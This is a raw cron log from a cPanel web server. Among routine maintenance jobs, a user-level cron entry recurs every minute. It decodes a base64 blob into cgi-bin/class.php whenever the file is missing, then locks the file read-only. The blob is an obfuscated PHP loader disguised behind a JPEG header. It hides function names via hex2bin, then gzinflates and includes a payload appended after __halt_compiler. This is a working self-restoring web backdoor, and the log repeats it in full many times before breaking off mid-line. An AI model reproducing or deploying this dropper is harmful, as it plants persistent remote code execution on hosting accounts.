Sep  3 16:28:02 server CROND[15219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:28:02 server CROND[15217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:29:01 server CROND[15588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:29:01 server CROND[15587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:29:01 server CROND[15589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:30:01 server CROND[16067]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:30:01 server CROND[16068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:30:01 server CROND[16073]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 16:30:01 server CROND[16075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:30:01 server CROND[16074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:30:01 server CROND[16078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:30:01 server CROND[16072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:30:01 server CROND[16077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:30:01 server CROND[16076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:31:01 server CROND[16921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:31:01 server CROND[16922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:31:01 server CROND[16923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:32:01 server CROND[17322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:32:01 server CROND[17323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:32:01 server CROND[17321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:33:01 server CROND[17696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:33:01 server CROND[17697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:33:01 server CROND[17698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:34:01 server CROND[18076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:34:01 server CROND[18075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:34:01 server CROND[18077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:35:01 server CROND[18550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:35:01 server CROND[18551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:35:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:35:01 server CROND[18555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:35:01 server CROND[18560]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 16:35:01 server CROND[18561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:35:01 server CROND[18562]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:35:01 server CROND[18559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:35:01 server CROND[18563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:36:01 server CROND[19393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:36:01 server CROND[19394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:36:01 server CROND[19395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:37:02 server CROND[19767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:37:02 server CROND[19769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:37:02 server CROND[19768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:38:01 server CROND[20139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:38:01 server CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:38:01 server CROND[20141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:39:01 server CROND[20520]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 16:39:01 server CROND[20521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:39:01 server CROND[20522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:39:01 server CROND[20523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:40:01 server CROND[21081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:40:01 server CROND[21082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:40:01 server CROND[21087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:40:01 server CROND[21088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2